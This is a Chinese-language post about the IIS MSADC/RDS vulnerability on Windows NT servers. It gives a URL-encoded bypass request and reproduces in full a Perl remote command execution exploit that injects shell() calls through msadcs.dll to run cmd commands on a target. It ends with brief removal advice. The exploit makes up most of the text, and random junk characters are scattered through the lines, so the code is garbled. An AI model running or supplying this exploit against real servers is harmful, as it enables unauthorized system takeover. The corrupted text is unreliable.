IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/P^@d L aZ5qq+1x 涉及程序：
E Q?4 ? Microsoft NT server
7; T S mTZlrkT 描述：
A~*Wr+pv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
sFSrMI#R vIN6W 详细：
ovm*,La)g 如果你没有时间读详细内容的话，就删除:
|1J "r.K c:\Program Files\Common Files\System\Msadc\msadcs.dll
~i))Zc3,g\ 有关的安全问题就没有了。
m1 \>v?=K T1n GBl\( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
{E W}Wd }mu8fm' 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
RvDqo d 关于利用ODBC远程漏洞的描述，请参看:
"9LPq m"86O:S#d http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +(PtOo. at7/KuY!~ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
BAX])~_ http://www.microsoft.com/security/bulletins/MS99-025faq.asp bTO$B2eh| {:4) ; . 这里不再论述。
fkRb;aIl u>k;P UH4 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
yn Z! /I[cj3}{+f /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5mE R&SX 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Rv.W~FE^ (ter+rTv O- |RPW} #将下面这段保存为txt文件，然后: "perl -x 文件名"
p7.@ez ; Q>Ta aGc #!perl
jG)>{D #
_'2r=a#` # MSADC/RDS 'usage' (aka exploit) script
{[r'+=}l\S #
[C771~BL> # by rain.forest.puppy
i;/qJKr&# #
?xN8 HG4 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9
* ] Z # beta test and find errors!
YH<@->Ip IEC:zmkn use Socket; use Getopt::Std;
=%2 E|/ getopts("e:vd:h:XR", \%args);
[jAhw> hzKfYJcQ| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(O?z6g n [ba if (!defined $args{h} && !defined $args{R}) {
v^,A~oe`t print qq~
7-^df0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
<408lm -h <host> = host you want to scan (ip or domain)
~ikTo - -d <seconds> = delay between calls, default 1 second
I62Yg
p$K -X = dump Index Server path table, if available
y)s/\ l& -v = verbose
;R 2(Gb -e = external dictionary file for step 5
e m>CSBx Yd/qcC(& Or a -R will resume a command session
fF-V=Zf5 :^l*_v{ ~; exit;}
;`F0
%0d R L)' m $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?$
Y E if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
qIb(uF@l" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*}[ @* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
M~"]h:m&'v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hrS/3c'<Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dW: r 9 *{)" if (!defined $args{R}){ $ret = &has_msadc;
XZKOBq B] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&1w,;45 mcr 71j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9F,jvCM63 . "cmd /c ";
f oL`{fA $in=<STDIN>; chomp $in;
<JK PtF 2b $command="cmd /c " . $in ;
I"DV}jg6| K"g[%O< if (defined $args{R}) {&load; exit;}
#jDO?Y Sa K32eZv`T7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Q FX|ZsmK &try_btcustmr;
J~ c]9t <D&75C# print "\nStep 2: Trying to make our own DSN...";
g2iSc &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(AwbZ n* *&5G+d2 print "\nStep 3: Trying known DSNs...";
8, B9y D &known_dsn;
Nc;7KMOIA m m`:ci print "\nStep 4: Trying known .mdbs...";
xmVK{Q YT$ &known_mdb;
rNg E/=X {p2 %4 if (defined $args{e}){
4Pz9&^K print "\nStep 5: Trying dictionary of DSN names...";
*q pmI9m &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!r[uw J= 7 51\K`L print "Sorry Charley...maybe next time?\n";
N 0.-#Qa exit;
/CX<k gz@ j?.VJ^Ff/u ##############################################################################
}F1^gN&QF zA+ ^4/M sub sendraw { # ripped and modded from whisker
/ox}l<ha sleep($delay); # it's a DoS on the server! At least on mine...
'4O1Y0K my ($pstr)=@_;
nY~CAo/: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<Ft.{aNq$c die("Socket problems\n");
,l@hhaLm? if(connect(S,pack "SnA4x8",2,80,$target)){
Ue l*:c select(S); $|=1;
W6\s@)b; print $pstr; my @in=<S>;
+'lfW{E1t select(STDOUT); close(S);
hwC3[' return @in;
$
Q2|{* } else { die("Can't connect...\n"); }}
kM9E)uT>(< vWj|[| <rX ##############################################################################
F] ~`57 I[F.M}5:z sub make_header { # make the HTTP request
^l iyWl my $msadc=<<EOT
OSq"q-Q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D.\p7
NJ User-Agent: ACTIVEDATA
-M/ny-; `} Host: $ip
cd EZ
Y Content-Length: $clen
q@^=im Connection: Keep-Alive
e|{6^g<ru _{ ?1+ ADCClientVersion:01.06
cFu vi^n\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/yH:u r 4!E6|N% f --!ADM!ROX!YOUR!WORLD!
.|o7YTcR: Content-Type: application/x-varg
3S <5s} Content-Length: $reqlen
`FmI?:Cv LrK6*y,z EOT
P/ug' ; $msadc=~s/\n/\r\n/g;
A\ LTAp(I return $msadc;}
|'a5n h! -M(:z ##############################################################################
? ZN8K u #_Tceq5 sub make_req { # make the RDS request
5[;p<GqGN my ($switch, $p1, $p2)=@_;
* SC~_ my $req=""; my $t1, $t2, $query, $dsn;
N4$0ptz#}G 'rz*mR8 if ($switch==1){ # this is the btcustmr.mdb query
#X|'RL($ $query="Select * from Customers where City=" . make_shell();
@AWKEo<7.I $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
n:; 2Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Z T|E1[Q 0p~:fm elsif ($switch==2){ # this is general make table query
#V~r@, $query="create table AZZ (B int, C varchar(10))";
bup;4~ g $dsn="$p1";}
*S<>_R 8 c%v%U & elsif ($switch==3){ # this is general exploit table query
U?@UIhtM| $query="select * from AZZ where C=" . make_shell();
qwVpGNc45 $dsn="$p1";}
;O. U-s )vo PH)! elsif ($switch==4){ # attempt to hork file info from index server
O5e9vQ H $query="select path from scope()";
Gn&)*qCO $dsn="Provider=MSIDXS;";}
f?
ko%c_p \|wV Ii elsif ($switch==5){ # bad query
X hTp'2,] $query="select";
~>+}(%<, $dsn="$p1";}
0 y6nMI Hk.+1^?% $t1= make_unicode($query);
$~U_VQIA^ $t2= make_unicode($dsn);
J 9>uLz $req = "\x02\x00\x03\x00";
jaNkWTm : $req.= "\x08\x00" . pack ("S1", length($t1));
) )Aj X $req.= "\x00\x00" . $t1 ;
j!jZJD $req.= "\x08\x00" . pack ("S1", length($t2));
(bZ)pW/iw $req.= "\x00\x00" . $t2 ;
GyT{p#l $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
tl0_as
return $req;}
\N7
E!82 Yuh t<:` ##############################################################################
5 {'%trDEy P\w.:.2 sub make_shell { # this makes the shell() statement
2j( w*k
q~ return "'|shell(\"$command\")|'";}
$|sRj!F "-N%`UA ##############################################################################
'w!Hjq]$ O/0m|~`iY sub make_unicode { # quick little function to convert to unicode
g$$uf[A-SL my ($in)=@_; my $out;
4Mnne'7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
J]Uki*s return $out;}
'{Iv?g h" Rl$NiY? 2 ##############################################################################
ud! iy ']4sx_)S sub rdo_success { # checks for RDO return success (this is kludge)
{TlS)i ` my (@in) = @_; my $base=content_start(@in);
qhiQ!fMQ if($in[$base]=~/multipart\/mixed/){
V#5BZU- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~Kt.%K5lgt return 0;}
}vp\lK P <7u*OYjA ##############################################################################
_
@ \ .M l}cE$L sub make_dsn { # this makes a DSN for us
]cFqKs my @drives=("c","d","e","f");
RqH"+/wR print "\nMaking DSN: ";
e7 5*84 foreach $drive (@drives) {
"y>l2V,4j% print "$drive: ";
- /KVZ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
])T*T$u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"(T @*"vX2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;M\H#%G. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
k\1q Jr return 0 if $2 eq "404"; # not found/doesn't exist
d;)Im
" if($2 eq "200") {
KxK$Y.y] foreach $line (@results) {
C:$ l H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[u/g =^+u } return 0;}
_s<eqCBV |=,V,*" ##############################################################################
v0\2%PC 36.L1!d)pE sub verify_exists {
=U3 !D;XP my ($page)=@_;
k`kmmb> my @results=sendraw("GET $page HTTP/1.0\n\n");
%6dFACv return $results[0];}
; l+3l
ez c 7P "1 ##############################################################################
[%z~0\lu8 P\N$TYeH sub try_btcustmr {
tAc[r)xFw my @drives=("c","d","e","f");
ZuILDevMD my @dirs=("winnt","winnt35","winnt351","win","windows");
9LzQp`In F8>Fp" foreach $dir (@dirs) {
c,4UnEoCR print "$dir -> "; # fun status so you can see progress
MS><7lk- foreach $drive (@drives) {
ysDfp'C, print "$drive: "; # ditto
H?UmHww E $reqlen=length( make_req(1,$drive,$dir) ) - 28;
uRwIxT2 $reqlenlen=length( "$reqlen" );
{i`BDOaL $clen= 206 + $reqlenlen + $reqlen;
g:O~1jq ImyB4welo my @results=sendraw(make_header() . make_req(1,$drive,$dir));
DX 4uTD if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
zeNvg/LI^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)^L+ iht q"`1cFD ##############################################################################
Y7]N.G3,] |jF)~k6 sub odbc_error {
ZKPnvL70 my (@in)=@_; my $base;
+'JM:};1X8 my $base = content_start(@in);
ki=-0G*] if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Tld %NE $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}4 5| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lLyMm8E%pZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r4A%`sk@ return $in[$base+4].$in[$base+5].$in[$base+6];}
8%>
Ls print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
O=u.PRNT8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
69TQH J[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Y)g<> }F kbBX\*{yh ##############################################################################
#&5m=q$EI _~| j~QE] sub verbose {
vw>O;u.]B my ($in)=@_;
M($dh9 A_ return if !$verbose;
v8Bi 1,g print STDOUT "\n$in\n";}
?4(uwX p a[[u>oHyd ##############################################################################
ID E3>D F+v? 2|03 sub save {
4(|x@: wxm my ($p1, $p2, $p3, $p4)=@_;
K/
I3r_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
!7P 1%/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
fp |b@ close OUT;}
%}x/ fq TOeJnk ##############################################################################
/`?i&\C3r ?&pjP,a sub load {
_{TGO
jZr my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;WO /xA-# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Vq -!1 .v3 @p=<IN>; close(IN);
rwv_
RN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/{\tk vv-Z $target= inet_aton($ip) || die("inet_aton problems");
`GUj.+u print "Resuming to $ip ...";
uhbo/7d'7 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Fpzps!(;= if($p[1]==1) {
[XhuJdr "u $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.~4%TsBa Y $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w J/ k\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
yf2U-s if (rdo_success(@results)){print "Success!\n";}
&d[&8V5S else { print "failed\n"; verbose(odbc_error(@results));}}
u&9|9+"N elsif ($p[1]==3){
i/NY86A if(run_query("$p[3]")){
-r_z,h| print "Success!\n";} else { print "failed\n"; }}
$._p !, < elsif ($p[1]==4){
;.'2ZNt2 if(run_query($drvst . "$p[3]")){
$T hkK3 print "Success!\n"; } else { print "failed\n"; }}
7-nwfp&|$ exit;}
,H'O`oV!1E A d=NJhzl ##############################################################################
My&h{Qk wk<QYLEk sub create_table {
dNB56E)5`J my ($in)=@_;
(S&X??jfB5 $reqlen=length( make_req(2,$in,"") ) - 28;
yOxJx7uD $reqlenlen=length( "$reqlen" );
mrS:|| ,_ $clen= 206 + $reqlenlen + $reqlen;
6~ev5SD;f my @results=sendraw(make_header() . make_req(2,$in,""));
Xv|~1v%s7 return 1 if rdo_success(@results);
k?o(j/ my $temp= odbc_error(@results); verbose($temp);
Azxy!gDT" return 1 if $temp=~/Table 'AZZ' already exists/;
^
RU"v> return 0;}
C(Yk-7 K!lGo3n] ##############################################################################
h IuK s5` Z6
E-Fu O sub known_dsn {
Ha)eeE$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
bu1O <* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
UW8b(b[-6b "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G sm5L<rx "banner", "banners", "ads", "ADCDemo", "ADCTest");
V)^ nVD)e wBTnI>l9 [ foreach $dSn (@dsns) {
o;7!$v>uK print ".";
J'sVT{@GS next if (!is_access("DSN=$dSn"));
^!3Sz1 if(create_table("DSN=$dSn")){
]HgAI$aA, print "$dSn successful\n";
u0^GB9q if(run_query("DSN=$dSn")){
D[x0sly print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hug8Hhf_& print "Something's borked. Use verbose next time\n";}}} print "\n";}
Q4JwX=ZVj q*SX.A>YR ##############################################################################
^ PMP2\JQA N5Eb.a9S sub is_access {
9?:SxI;v my ($in)=@_;
(x2I*<7 P $reqlen=length( make_req(5,$in,"") ) - 28;
O~.A} $reqlenlen=length( "$reqlen" );
Q|rrbx b $clen= 206 + $reqlenlen + $reqlen;
^sY ]N77 my @results=sendraw(make_header() . make_req(5,$in,""));
NmthvKhH my $temp= odbc_error(@results);
8j. 9Sk/ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hub1rY|No return 0;}
?_3K]i1IS P
1X8 ##############################################################################
hR
Y *WL >j{phZ sub run_query {
1C 6H\; my ($in)=@_;
I
$ !Y $reqlen=length( make_req(3,$in,"") ) - 28;
U< |kA(5 $reqlenlen=length( "$reqlen" );
r5xu#%hgp; $clen= 206 + $reqlenlen + $reqlen;
L5 Rj;qhi my @results=sendraw(make_header() . make_req(3,$in,""));
ExqI=k`Zs return 1 if rdo_success(@results);
hs }nI/# my $temp= odbc_error(@results); verbose($temp);
\::<] return 0;}
V/j+Z1ZW 7z9gsi ##############################################################################
R;,+0r^i 7rw}q~CE5 sub known_mdb {
7Co
}4 my @drives=("c","d","e","f","g");
lwIU|T<4 my @dirs=("winnt","winnt35","winnt351","win","windows");
6 :K~w<mMJ my $dir, $drive, $mdb;
%,g6:Zc@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~Aq;g$IJZ ):E4qlB # this is sparse, because I don't know of many
#>g]CRN my @sysmdbs=( "\\catroot\\icatalog.mdb",
Dtl381F J "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^| 5bK_Z& "\\system32\\certmdb.mdb",
s
de|t "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
O: "gJ4D ymT&[+V my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&ok2Xw "\\cfusion\\cfapps\\forums\\forums_.mdb",
LGGC=;{} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!U>711$ "\\cfusion\\cfapps\\security\\realm_.mdb",
v?F~fRH "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6H \3 "\\cfusion\\database\\cfexamples.mdb",
.-T^ S"`d| "\\cfusion\\database\\cfsnippets.mdb",
!run3ip`Z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0&E{ [~Pv "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
X3
D ( 2W "\\cfusion\\brighttiger\\database\\cleam.mdb",
a938l^@;s8 "\\cfusion\\database\\smpolicy.mdb",
rIR~YMv! "\\cfusion\\database\cypress.mdb",
R R<92R "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
glbU\K> > "\\website\\cgi-win\\dbsample.mdb",
i{?uIb B "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
g|tnY N "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fn>MO D!l ); #these are just
,.6Hh'^65^ foreach $drive (@drives) {
UaA6 foreach $dir (@dirs){
l 3bo foreach $mdb (@sysmdbs) {
6;i]v|M- print ".";
4<CHwIRHY if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
%|bqL3)a_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q$7WZ+Y\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^\ Gaf 5{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
f mI LkXKz } else { print "Something's borked. Use verbose next time\n"; }}}}}
jXB<"bw M^DYzJ foreach $drive (@drives) {
{SVd='!V foreach $mdb (@mdbs) {
$q);xs print ".";
w0(A7 L:L if(create_table($drv . $drive . $dir . $mdb)){
xH #R _ print "\n" . $drive . $dir . $mdb . " successful\n";
9IZ}}x if(run_query($drv . $drive . $dir . $mdb)){
UmZ#Cm print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
pwU
l&hwte } else { print "Something's borked. Use verbose next time\n"; }}}}
fx2r\ usX[ }
QL%&b\K yyb8l l?@a ##############################################################################
NCbn<ojb %GQP iWu sub hork_idx {
nm2bBX,fh print "\nAttempting to dump Index Server tables...\n";
m~mw1r print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
,r!_4|\ $reqlen=length( make_req(4,"","") ) - 28;
$e1==@
R $reqlenlen=length( "$reqlen" );
@ eu4 W^W $clen= 206 + $reqlenlen + $reqlen;
6a5 1bj!f my @results=sendraw2(make_header() . make_req(4,"",""));
>u?pq6; if (rdo_success(@results)){
Z_Ffiw(p my $max=@results; my $c; my %d;
fw Ooi 'jb for($c=19; $c<$max; $c++){
$x# 0m $results[$c]=~s/\x00//g;
*J,VvO 9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
T+7-6y+ d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4Ynv=G Qz $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`3m7b!0k $d{"$1$2"}="";}
J24<X9b foreach $c (keys %d){ print "$c\n"; }
^u`1W^> } else {print "Index server doesn't seem to be installed.\n"; }}
{Hg. ctam pLi_)(#z_ ##############################################################################
~{ lSc/SP| D#R5G
sub dsn_dict {
KvW {M open(IN, "<$args{e}") || die("Can't open external dictionary\n");
X<{kf-GP while(<IN>){
P Llad\ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
|Am
+ f. next if (!is_access("DSN=$dSn"));
3.>M=K~09 if(create_table("DSN=$dSn")){
# InuN8sI print "$dSn successful\n";
2>3#/ I9Y if(run_query("DSN=$dSn")){
}xXUCU< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|#G.2hMFr print "Something's borked. Use verbose next time\n";}}}
_dCdyf print "\n"; close(IN);}
>qkZn7C CR3<9=Lv> ##############################################################################
YQGVQ[P I~ Q2jg2 sub sendraw2 { # ripped and modded from whisker
?T]3I.3
2^ sleep($delay); # it's a DoS on the server! At least on mine...
C.`C T7 my ($pstr)=@_;
FJxg9!%d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[xW;5j<87 die("Socket problems\n");
L CKCg[D
if(connect(S,pack "SnA4x8",2,80,$target)){
1$nlRQi print "Connected. Getting data";
Ud@D%?A7 open(OUT,">raw.out"); my @in;
ehe hTP select(S); $|=1; print $pstr;
m X2i^.zH while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&[ QvM h close(OUT); select(STDOUT); close(S); return @in;
6Q\0 v } else { die("Can't connect...\n"); }}
=Ts2a"n 8[@aX;I ##############################################################################
t+7|/GLs2 IL*Ghq{/ sub content_start { # this will take in the server headers
>G ` Uc&= my (@in)=@_; my $c;
ZYf0FC=- for ($c=1;$c<500;$c++) {
?}p~8{ ' if($in[$c] =~/^\x0d\x0a/){
.yK~FzLs if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
v;_m1UpuW else { return $c+1; }}}
`wIMu$ i return -1;} # it should never get here actually
zM:&` 6;e ]34 fG3D| ##############################################################################
<!@*2/Q]J] I_ O8 9Sgn sub funky {
39Nz>Nu: my (@in)=@_; my $error=odbc_error(@in);
U~h
f,Ox i if($error=~/ADO could not find the specified provider/){
ppL*#/jYt print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ktE~)G exit;}
%a\!|/;6 if($error=~/A Handler is required/){
j~DTvWg<Jl print "\nServer has custom handler filters (they most likely are patched)\n";
]k0Pe;< exit;}
vZhC_G+tGd if($error=~/specified Handler has denied Access/){
Bgw =((p print "\nServer has custom handler filters (they most likely are patched)\n";
?w/i;pp<, exit;}}
V\Q=EsHj
8<0 ~j ##############################################################################
F_ C7S P D,s,A sub has_msadc {
\_GG6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
:'hc &wk` my $base=content_start(@results);
7I\qE r57 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{nQ?+o3 return 0;}
2H\ }N^;f 8kn> ? ########################
X8m@xFW} K9z 1'k QH ~bC-0^/
8| 解决方案：
LsW7JIQd 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
K;uO<{a)r 2、移除web 目录: /msadc
